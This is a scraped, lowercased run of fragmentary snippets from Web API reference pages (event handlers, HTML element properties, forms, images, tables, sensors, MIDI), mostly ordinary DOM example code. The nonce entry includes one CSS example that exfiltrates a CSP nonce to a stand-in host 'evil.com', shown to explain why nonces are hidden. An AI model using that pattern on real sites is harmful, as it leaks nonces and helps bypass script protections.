specification specification status comment html living standardthe definition of 'onplaying' in that specification.
GlobalEventHandlers.onreset - Web APIs
time stamp: ${event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.onreset = logreset; result specification specification status comment html living standardthe definition of 'onreset' in that specification.
GlobalEventHandlers.onresize - Web APIs
p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function resize() { heightoutput.textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = resize; specification specification status comment html living standardthe definition of 'onresize' in that specification.
GlobalEventHandlers.onselect - Web APIs
{ const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in that specification.
GlobalEventHandlers.onsubmit - Web APIs
ity.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.preventdefault(); } result specifications specification status comment html living standardthe definition of 'onsubmit' in that specification.
GlobalEventHandlers.ontouchcancel - Web APIs
<html> <script> function canceltouch(ev) { // process the event } function init() { let el = document.getelementbyid('target1'); el.ontouchcancel = canceltouch; } </script> <body onload="init();"> <div id="target1"> touch me ...
GlobalEventHandlers.ontouchend - Web APIs
<html> <script> function endtouch(ev) { // process the event } function init() { var el=document.getelementbyid("target1"); el.ontouchend = endtouch; } </script> <body onload="init();"> <div id="target1"> touch me ...
GlobalEventHandlers.ontouchmove - Web APIs
<html> <head> <script> function movetouch(ev) { // process the event } function init() { var el=document.getelementbyid("target1"); el.ontouchmove = movetouch; } </script> </head> <body onload="init();"> <div id="target1"> touch me ...
GlobalEventHandlers.ontouchstart - Web APIs
<html> <script> function starttouch(ev) { // process the event } function init() { let el = document.getelementbyid('target1'); el.ontouchstart = starttouch; } </script> <body onload="init();"> <div id="target1"> touch me ...
GlobalEventHandlers.ontransitioncancel - Web APIs
specification specification status comment css transitionsthe definition of 'ontransitioncancel' in that specification.
GlobalEventHandlers.ontransitionend - Web APIs
specification specification status comment css transitionsthe definition of 'ontransitionend' in that specification.
GlobalEventHandlers.onwheel - Web APIs
-2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; result specification specification status comment html living standardthe definition of 'onwheel' in that specification.
Gyroscope.Gyroscope() - Web APIs
gyroscopethe definition of 'gyroscope' in that specification.
Gyroscope.x - Web APIs
WebAPIGyroscopex
gyroscopethe definition of 'x' in that specification.
Gyroscope.y - Web APIs
WebAPIGyroscopey
gyroscopethe definition of 'y' in that specification.
Gyroscope.z - Web APIs
WebAPIGyroscopez
gyroscopethe definition of 'z' in that specification.
HTMLAnchorElement.referrerPolicy - Web APIs
specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLAreaElement.referrerPolicy - Web APIs
specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
Audio() - Web APIs
specifications specification status comment html living standardthe definition of 'audio()' in that specification.
HTMLCanvasElement.transferControlToOffscreen() - Web APIs
// push frames back to the original htmlcanvaselement gl.commit(); specifications specification status comment html living standardthe definition of 'htmlcanvaselement.transfercontroltooffscreen()' in that specification.
HTMLCollection - Web APIs
m2; // document.forms is an htmlcollection elem1 = document.forms[0]; elem2 = document.forms.item(0); alert(elem1 === elem2); // shows: "true" elem1 = document.forms.myform; elem2 = document.forms.nameditem("myform"); alert(elem1 === elem2); // shows: "true" elem1 = document.forms["named.item.with.periods"]; specifications specification status comment domthe definition of 'htmlcollection' in that specification.
HTMLDetailsElement: toggle event - Web APIs
-grow: 1; } javascript function logitem(e) { const item = document.queryselector(`[data-id=${e.target.id}]`); item.toggleattribute('hidden'); } const chapters = document.queryselectorall('details'); chapters.foreach((chapter) => { chapter.addeventlistener('toggle', logitem); }); result specifications specification status comment html living standardthe definition of 'toggle event' in that specification.
HTMLDetailsElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldetailselement' in that specification.
HTMLDialogElement: cancel event - Web APIs
l === 'function') { dialog.showmodal(); result.textcontent = ''; } else { result.textcontent = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html living standardthe definition of 'cancel' in that specification.
HTMLDialogElement: close event - Web APIs
modal === 'function') { dialog.showmodal(); result.textcontent = ''; } else { result.textcontent = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html living standardthe definition of 'close' in that specification.
HTMLElement: animationcancel event - Web APIs
ist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationend event - Web APIs
ist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationiteration event - Web APIs
ist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationstart event - Web APIs
ist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: beforeinput event - Web APIs
html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('beforeinput', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status ui eventsthe definition of 'beforeinput event' in that specification.
HTMLElement: change event - Web APIs
html <input placeholder="enter some text" name="name"/> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('change', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status html living standardthe definition of 'change' in that specification.
HTMLElement.click() - Web APIs
WebAPIHTMLElementclick
heck" onmouseover="myfunction()" onclick="alert('click event occured')"> </form> javascript // on mouse-over, execute myfunction function myfunction() { document.getelementbyid("mycheck").click(); } specification specification status comment html living standard living standard document object model (dom) level 2 html specification obsolete initial definition.
HTMLElement.innerText - Web APIs
avascript const source = document.getelementbyid("source"); const textcontentoutput = document.getelementbyid("textcontentoutput"); const innertextoutput = document.getelementbyid("innertextoutput"); textcontentoutput.value = source.textcontent; innertextoutput.value = source.innertext; result specification specification status comment html living standardthe definition of 'innertext' in that specification.
HTMLElement.lang - Web APIs
WebAPIHTMLElementlang
base language and // redirects to another url based on language if (document.documentelement.lang === "en") { window.location.href = "some_document.html.en"; } else if (document.documentelement.lang === "ru") { window.location.href = "some_document.html.ru"; } specification specification status comment document object model (dom) level 2 html specificationthe definition of 'lang' in that specification.
HTMLElement.offsetHeight - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'offsetheight' in that specification.
HTMLElement.offsetLeft - Web APIs
getelementbyid("longspan"); box.style.left = longspan.offsetleft + document.body.scrollleft + "px"; box.style.top = longspan.offsettop + document.body.scrolltop + "px"; box.style.width = longspan.offsetwidth + "px"; box.style.height = longspan.offsetheight + "px"; </script> specification specification status comment css object model (cssom) view modulethe definition of 'offsetleft' in that specification.
HTMLElement.offsetParent - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'offsetparent' in that specification.
HTMLElement.offsetTop - Web APIs
example var d = document.getelementbyid("div1"); var toppos = d.offsettop; if (toppos > 10) { // object is offset more // than 10 pixels from its parent } specification specification status comment css object model (cssom) view modulethe definition of 'offsettop' in that specification.
HTMLElement.offsetWidth - Web APIs
example specification specification status comment css object model (cssom) view modulethe definition of 'offsetwidth' in that specification.
HTMLElement: transitionrun event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification.
HTMLFormElement.acceptCharset - Web APIs
syntax var string = form.acceptcharset; form.acceptcharset = string; example inputs = document.forms['myform'].acceptcharset; specifications specification status comment html living standardthe definition of 'htmlformelement: acceptcharset' in that specification.
HTMLFormElement.action - Web APIs
syntax var string = form.action; form.action = string; example form.action = '/cgi-bin/publish'; specifications specification status comment html living standardthe definition of 'htmlformelement: action' in that specification.
HTMLFormElement: formdata event - Web APIs
onsole.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'formdata' in that specification.
HTMLFormElement.length - Web APIs
example if (document.getelementbyid('form1').length > 1) { // more than one form control here } specifications specification status comment html living standardthe definition of 'htmlformelement: length' in that specification.
HTMLFormElement.method - Web APIs
syntax var string = form.method; form.method = string; example document.forms['myform'].method = 'post'; const formelement = document.createelement("form"); // create a form document.body.appendchild(formelement); console.log(formelement.method); // 'get' specifications specification status comment html living standardthe definition of 'htmlformelement: method' in that specification.
HTMLFormElement.name - Web APIs
syntax var string = form.name; form.name = string; example var form1name = document.getelementbyid('form1').name; if (form1name != document.form.form1) { // browser doesn't support this form of reference } specifications specification status comment html living standardthe definition of 'htmlformelement: name' in that specification.
HTMLFormElement.requestSubmit() - Web APIs
let myform = document.queryselector("form"); let submitbutton = myform.queryselector("#main-submit"); if (myform.requestsubmit) { if (submitbutton) { myform.requestsubmit(submitbutton); } else { myform.requestsubmit(); } } else { myform.submit(); } specifications specification status comment html living standardthe definition of 'requestsubmit()' in that specification.
HTMLFormElement.reset() - Web APIs
syntax htmlformelement.reset() example document.getelementbyid('myform').reset(); specifications specification status comment html living standardthe definition of 'htmlformelement: reset' in that specification.
HTMLFormElement.submit() - Web APIs
syntax htmlformelement.submit() example document.forms["myform"].submit(); specifications specification status comment html living standardthe definition of 'htmlformelement: submit' in that specification.
HTMLFormElement.target - Web APIs
syntax string = htmlformelement.target htmlformelement.target = string example myform.target = document.frames[1].name; specifications specification status comment html living standardthe definition of 'htmlformelement: target' in that specification.
HTMLHtmlElement.version - Web APIs
returns version information about the document type definition (dtd) of a document.
contentDocument - Web APIs
specifications specification status comment html living standardthe definition of 'htmliframeelement: contentdocument' in that specification.
HTMLIFrameElement.contentWindow - Web APIs
specifications specification status comment html living standardthe definition of 'htmliframeelement: contentwindow' in that specification.
HTMLIFrameElement.featurePolicy - Web APIs
specification specification status comment feature policy editor's draft initial definition.
HTMLIFrameElement.src - Web APIs
syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification.
srcdoc - Web APIs
examples var iframe = document.createelement("iframe"); iframe.srcdoc = `<!doctype html><p>hello world!</p>`; document.body.appendchild(iframe); specifications specification status comment html living standardthe definition of 'htmliframeelement: srcdoc' in that specification.
Image() - Web APIs
examples var myimage = new image(100, 200); myimage.src = 'picture.jpg'; document.body.appendchild(myimage); this would be the equivalent of defining the following html tag inside the <body>: <img width="100" height="200" src="picture.jpg"> specifications specification status comment html living standardthe definition of 'image()' in that specification.
HTMLImageElement.alt - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.alt' in that specification.
HTMLImageElement.complete - Web APIs
*/ function fixredeyecommand() { if (lightboxelem.style.display === "block" && lightboximgelem.complete) { fixredeye(lightboximgelem); } else { /* can't start doing this until the image is fully loaded */ } } specifications specification status comment html living standardthe definition of 'htmlimageelement.complete' in that specification.
HTMLImageElement.crossOrigin - Web APIs
body { font: 1.125rem/1.5, helvetica, sans-serif; } .container { display: flow-root; width: 37.5em; border: 1px solid #d2d2d2; } img { float: left; padding-right: 1.5em; } output { background: rgba(100, 100, 100, 0.1); font-family: courier, monospace; width: 95%; } result specifications specification status comment html living standardthe definition of 'htmlimageelement.crossorigin' in that specification.
HTMLImageElement.currentSrc - Web APIs
50%, 90%"> javascript var clockimage = document.queryselector("img"); let p = document.createelement("p"); if (!clockimage.currentsrc.endswith("200px.png")) { p.innertext = "using the 200px image."; } else { p.innertext = "using the 400px image!"; } document.body.appendchild(p); result specifications specification status comment html living standardthe definition of 'htmlimageelement.currentsrc' in that specification.
HTMLImageElement.decoding - Web APIs
examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.png'; specifications specification status comment html living standardthe definition of 'decoding' in that specification.
HTMLImageElement.height - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.height' in that specification.
HTMLImageElement.isMap - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.ismap' in that specification.
HTMLImageElement.longDesc - Web APIs
specifications specification status comment html 4.01 specificationthe definition of 'htmlimageelement.longdesc' in that specification.
HTMLImageElement.naturalHeight - Web APIs
result specifications specification status comment html living standardthe definition of 'htmlimageelement.naturalheight' in that specification.
HTMLImageElement.naturalWidth - Web APIs
result specifications specification status comment html living standardthe definition of 'htmlimageelement.naturalwidth' in that specification.
HTMLImageElement.referrerPolicy - Web APIs
examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLImageElement.sizes - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.sizes' in that specification.
HTMLImageElement.src - Web APIs
html result specifications specification status comment html living standardthe definition of 'htmlimageelement.src' in that specification.
HTMLImageElement.srcset - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.srcset' in that specification.
HTMLImageElement.useMap - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.usemap' in that specification.
HTMLImageElement.width - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.width' in that specification.
HTMLImageElement.x - Web APIs
und-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe definition of 'htmlimageelement.x' in that specification.
HTMLImageElement.y - Web APIs
und-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe definition of 'htmlimageelement.y' in that specification.
HTMLInputElement.select() - Web APIs
ed, it is possible to replace it with a call to htmlinputelement.setselectionrange() with parameters 0 and the input's value length: <input onclick="this.select();" value="sample text" /> <!-- equivalent to --> <input onclick="this.setselectionrange(0, this.value.length);" value="sample text" /> specifications specification status comment html living standardthe definition of 'select' in that specification.
HTMLLinkElement.referrerPolicy - Web APIs
syntax domstring htmllinkelement.referrerpolicy example var links = document.getelementsbytagname("link"); links[0].referrerpolicy; // "no-referrer" specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLMediaElement.onerror - Web APIs
specifications specification status comment html living standardthe definition of 'onerror' in that specification.
HTMLMediaElement.videoTracks - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmediaelement.videotracks' in that specification.
HTMLObjectElement.typeMustMatch - Web APIs
syntax var mustmatch = obj.typemustmatch; obj.typemustmatch = mustmatch; example html <object id="obj" data="move.swf" type="application/x-shockwave-flash" typemustmatch></object> javascript let obj = document.getelementbyid('obj'); console.log(obj.typemustmatch); specifications specification status comment html5the definition of 'htmlobjectelement' in that specification.
Option() - Web APIs
') { s[s.options.length] = new option(element, s.options.length, false, true); // just will be selected in "view" } }); /* result <select id="s"> <option value="0">zero</option> <option value="1" selected="">one</option> <option value="2">two</option> // user will see this as 'selected' </select> */ specification specification status comment html5 the definition of 'option' in that specification.
HTMLOptionsCollection - Web APIs
specifications specification status comment html living standardthe definition of 'htmloptionscollection' in that specification.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLSlotElement.assignedElements() - Web APIs
examples let slots = this.shadowroot.queryselector('slot'); let elements = slots.assignedelements({flatten: true}); specifications specification status comment html living standardthe definition of 'assignedelements()' in that specification.
HTMLSlotElement.assignedNodes() - Web APIs
specifications specification status comment html living standardthe definition of 'assignednodes' in that specification.
HTMLSlotElement.name - Web APIs
specifications specification status comment html living standardthe definition of 'name' in that specification.
HTMLSlotElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlslotelement' in that specification.
HTMLSourceElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlsourceelement' in that specification.
HTMLTableElement.createTFoot() - Web APIs
syntax htmltablesectionelement = table.createtfoot(); return value htmltablesectionelement example let myfoot = mytable.createtfoot(); // now this should be true: myfoot == mytable.tfoot specifications specification status comment html living standardthe definition of 'htmltableelement: createtfoot' in that specification.
HTMLTableElement.createTHead() - Web APIs
syntax htmltablesectionelement = table.createthead(); return value htmltablesectionelement example let myhead = mytable.createthead(); // now this should be true: myhead == mytable.thead specifications specification status comment html living standardthe definition of 'htmltableelement: createthead' in that specification.
HTMLTableElement.deleteCaption() - Web APIs
html <table> <caption>this caption will be deleted!</caption> <tr><td>cell 1.1</td><td>cell 1.2</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td></tr> </table> javascript let table = document.queryselector('table'); table.deletecaption(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletecaption' in that specification.
HTMLTableElement.deleteRow() - Web APIs
>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> <tr><td>cell 3.1</td><td>cell 3.2</td><td>cell 3.3</td></tr> </table> javascript let table = document.queryselector('table'); // delete second row table.deleterow(1); result specifications specification status comment html living standardthe definition of 'htmltableelement: deleterow' in that specification.
HTMLTableElement.deleteTFoot() - Web APIs
html <table> <thead><th>name</th><th>score</th></thead> <tr><td>bob</td><td>541</td></tr> <tr><td>jim</td><td>225</td></tr> <tfoot><th>average</th><td>383</td></tfoot> </table> javascript let table = document.queryselector('table'); table.deletetfoot(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletetfoot' in that specification.
HTMLTableElement.deleteTHead() - Web APIs
html <table> <thead><th>name</th><th>occupation</th></thead> <tr><td>bob</td><td>plumber</td></tr> <tr><td>jim</td><td>roofer</td></tr> </table> javascript let table = document.queryselector('table'); table.deletethead(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletethead' in that specification.
HTMLTableElement.rows - Web APIs
specifications specification status comment html living standardthe definition of 'htmltableelement: rows' in that specification.
HTMLTableElement.tBodies - Web APIs
mytable.tbodies.length; specifications specification status comment html living standardthe definition of 'htmltableelement: tbodies' in that specification.
HTMLTrackElement: cuechange event - Web APIs
texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); specifications specification status html living standardthe definition of 'cuechange' in that specification.
HTMLVideoElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlvideoelement' in that specification.
Using microtasks in JavaScript with queueMicrotask() - Web APIs
tasks a task is any javascript code which is scheduled to be run by the standard mechanisms such as initially starting to run a program, an event callback being run, or an interval or timeout being fired.
The HTML DOM API - Web APIs
document object model (dom) level 1 specification obsolete initial definition.
Recommended Drag Types - Web APIs
" + name); var dirprimitive = {}; atransferable.gettransferdata('application/x-moz-file-promise-dir', dirprimitive, datasize); var dir = dirprimitive.value.queryinterface(components.interfaces.nsilocalfile); console.log("target folder is = " + dir.path); var file = cc['@mozilla.org/file/local;1'].createinstance(components.interfaces.nsilocalfile); file.initwithpath(dir.path); file.appendrelativepath(name); console.log("output final path is =" + file.path); // now you can write or copy the file yourself… } } } see also html drag and drop api (overview) drag operations dragging and dropping multiple items html5 living standard: drag and drop ...
HashChangeEvent.newURL - Web APIs
example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.newurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: newurl' in that specification.
HashChangeEvent.oldURL - Web APIs
example window.addeventlistener('hashchange', function(event) { console.log('hash changed from ' + event.oldurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: oldurl' in that specification.
Headers.append() - Web APIs
WebAPIHeadersappend
specifications specification status comment fetchthe definition of 'append()' in that specification.
Headers.delete() - Web APIs
WebAPIHeadersdelete
); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' you can then delete it again: myheaders.delete('content-type'); myheaders.get('content-type'); // returns null, as it has been deleted specifications specification status comment fetchthe definition of 'delete()' in that specification.
Headers.get() - Web APIs
WebAPIHeadersget
specifications specification status comment fetchthe definition of 'get()' in that specification.
Headers.has() - Web APIs
WebAPIHeadershas
object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then test for the existence of it using has(): myheaders.append('content-type', 'image/jpeg'); myheaders.has('content-type'); // returns true myheaders.has('accept-encoding'); // returns false specifications specification status comment fetchthe definition of 'has()' in that specification.
Headers.set() - Web APIs
WebAPIHeadersset
specifications specification status comment fetchthe definition of 'set()' in that specification.
HkdfParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hkdfparams' in that specification.
HmacImportParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hmacimportparams' in that specification.
HmacKeyGenParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hmackeygenparams' in that specification.
IDBCursor.continuePrimaryKey() - Web APIs
r.continueprimarykey("javascript", lastprimarykey); return; } // update lastiteratedarticleid setlastiteratedarticleid(cursor.primarykey); // preload 5 articles into the unread list; unreadlist.push(cursor.value); if (++count < 5) { cursor.continue(); } }; specifications specification status comment indexed database api draftthe definition of 'continueprimarykey()' in that specification.
IDBDatabase.onclose - Web APIs
example db.onclose = function(event) { myappshowalert('the database "' + db.name + '" has unexpectedly closed.'); }; specifications specification status comment indexed database api draftthe definition of 'onclose' in that specification.
IDBIndex.get() - Web APIs
WebAPIIDBIndexget
r.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'get()' in that specification.
IIRFilterNode.getFrequencyResponse() - Web APIs
array.length-1;i++){ var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + myfrequencyarray[i] + 'hz</strong>: magnitude ' + magresponseoutput[i] + ', phase ' + phaseresponseoutput[i] + ' radians.'; freqresponseoutput.appendchild(listitem); } } calcfrequencyresponse(); specifications specification status comment web audio apithe definition of 'getfrequencyresponse()' in that specification.
ImageBitmap.close() - Web APIs
WebAPIImageBitmapclose
var bitmap = offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } bitmap.close(); // imagebitmap { width: 0, height: 0 } -- disposed specifications specification status comment html living standardthe definition of 'close()' in that specification.
ImageBitmap - Web APIs
specifications specification status comment html living standardthe definition of 'imagebitmap' in that specification.
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
// transfer the current frame to the visible canvas var bitmap = offscreen.transfertoimagebitmap(); htmlcanvas.transferfromimagebitmap(bitmap); specifications specification status comment html living standardthe definition of 'transferfromimagebitmap()' in that specification.
ImageBitmapRenderingContext - Web APIs
specifications specification status comment html living standardthe definition of 'imagebitmaprenderingcontext' in that specification.
ImageData - Web APIs
WebAPIImageData
specifications specification status comment html living standardthe definition of 'imagedata' in that specification.
Browser storage limits and eviction criteria - Web APIs
this will cause storage initialization to fail; for example, open() will fire an error event.
IndexedDB API - Web APIs
storing images and files in indexeddb specifications specification status comment indexed database api draft recommendation indexed database api 2.0 recommendation initial definition ...
InputDeviceCapabilities API - Web APIs
specifications specification status comment inputdevicecapabilities draft initial definition.
InputEvent.inputType - Web APIs
specifications specification status comment ui eventsthe definition of 'inputtype' in that specification.
compareVersion - Web APIs
it is often used as a check against which to initiate the installation process.
IntersectionObserver - Web APIs
if (entries[0].intersectionratio <= 0) return; loaditems(10); console.log('loaded new items'); }); // start observing intersectionobserver.observe(document.queryselector('.scrollerfooter')); specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification.
InterventionReportBody - Web APIs
r) { let firstreport = reports[0]; console.log(firstreport.type); // intervention console.log(firstreport.body.id); console.log(firstreport.body.message); console.log(firstreport.body.sourcefile); console.log(firstreport.body.linenumber); console.log(firstreport.body.columnnumber); }, options); specifications specification status comment reporting apithe definition of 'interventionreportbody' in that specification.
Key Values - Web APIs
initiates voice dialing.
KeyframeEffect.composite - Web APIs
specifications specification status comment web animationsthe definition of 'keyframeeffect.composite' in that specification.
KeyframeEffect.getKeyframes() - Web APIs
examples in the red queen race example, we can inspect alice and the redqueen's animation to see its individual keyframes like so: // return the array of keyframes redqueen_alice.effect.getkeyframes(); specifications specification status comment web animationsthe definition of 'keyframeeffect.getkeyframes()' in that specification.
KeyframeEffect.setKeyframes() - Web APIs
olor: 'blue' }, { color: 'green', left: '10px' } ] ); // passing an object with arrays for values existingkeyframeeffect.setkeyframes( { color: ['blue', 'green'], left: [ '0', '10px'] } ); // passing a single-member object existingkeyframeeffect.setkeyframes( { color: 'blue' } ); specifications specification status comment web animationsthe definition of 'keyframeeffect.setkeyframes()' in that specification.
KeyframeEffect.target - Web APIs
mentbyid("rabbit"); var rabbitdownkeyframes = new keyframeeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // returns <div id=​"rabbit">​click the rabbit's ears!​</div>​ rabbitdownkeyframes.target; specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification.
LinearAccelerationSensor.LinearAccelerationSensor() - Web APIs
accelerometerthe definition of 'linearaccelerationsensor' in that specification.
LinearAccelerationSensor.x - Web APIs
accelerometerthe definition of 'x' in that specification.
LinearAccelerationSensor.y - Web APIs
accelerometerthe definition of 'y' in that specification.
LinearAccelerationSensor.z - Web APIs
accelerometerthe definition of 'z' in that specification.
LinearAccelerationSensor - Web APIs
accelerometerthe definition of 'linearaccelerationsensor' in that specification.
LocalFileSystemSync - Web APIs
example //taking care of the browser-specific prefix window.requestfilesystemsync = window.requestfilesystemsync || window.webkitrequestfilesystemsync; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success callback // and the last one is the error callback // for denial of access and other errors.
Location: ancestorOrigins - Web APIs
syntax const ancestors = location.ancestororigins; specifications specification status comment html living standardthe definition of 'ancestororigins ' in that specification.
Long Tasks API - Web APIs
specifications specification status comment long tasks api 1 working draft initial definition.
MIDIAccess - Web APIs
controllers const inputs = access.inputs.values(); const outputs = access.outputs.values(); access.onstatechange = function(e) { // print information about the (dis)connected midi controller console.log(e.port.name, e.port.manufacturer, e.port.state); }; }); specifications specification status comment web midi api working draft initial definition.
MIDIConnectionEvent - Web APIs
properties midiconnectionevent.port returns a reference to a midiport instance for a port that has been connected or disconnected." examples specifications specification status comment web midi api working draft initial definition.
MIDIInput - Web APIs
WebAPIMIDIInput
specifications specification status comment web midi api working draft initial definition.
MIDIInputMap - Web APIs
specifications specification status comment web midi api working draft initial definition.
MIDIOutputMap - Web APIs
specifications specification status comment web midi api working draft initial definition.
Magnetometer.Magnetometer() - Web APIs
magnetometerthe definition of 'magnetometer' in that specification.
Magnetometer.x - Web APIs
WebAPIMagnetometerx
magnetometerthe definition of 'x' in that specification.
Magnetometer.y - Web APIs
WebAPIMagnetometery
magnetometerthe definition of 'y' in that specification.
Magnetometer.z - Web APIs
WebAPIMagnetometerz
magnetometerthe definition of 'z' in that specification.
Magnetometer - Web APIs
magnetometerthe definition of 'magnetometer' in that specification.
MediaDevices: devicechange event - Web APIs
le you can use the devicechange event in an addeventlistener method: navigator.mediadevices.addeventlistener('devicechange', function(event) { updatedevicelist(); }); or use the ondevicechange event handler property: navigator.mediadevices.ondevicechange = function(event) { updatedevicelist(); } specifications specification status media capture and streamsthe definition of 'devicechange' in that specification.
MediaElementAudioSourceNode() - Web APIs
example var ac = new audiocontext(); var mediaelement = document.createelement('audio'); var options = { mediaelement : mediaelement } var myaudiosource = new mediaelementaudiosourcenode(ac, options); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode' in that specification.
MediaElementAudioSourceNode.mediaElement - Web APIs
examples const audioctx = new window.audiocontext(); const audioelem = document.queryselector('audio'); let options = { mediaelement: audioelem } let source = new mediaelementaudiosourcenode(audioctx, options); console.log(source.mediaelement); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode.mediaelement' in that specification.
MediaElementAudioSourceNode - Web APIs
specification specification status comment web audio apithe definition of 'mediaelementaudiosourcenode' in that specification.
MediaError - Web APIs
specifications specification status comment html living standardthe definition of 'mediaerror' in that specification.
MediaKeyStatusMap.entries() - Web APIs
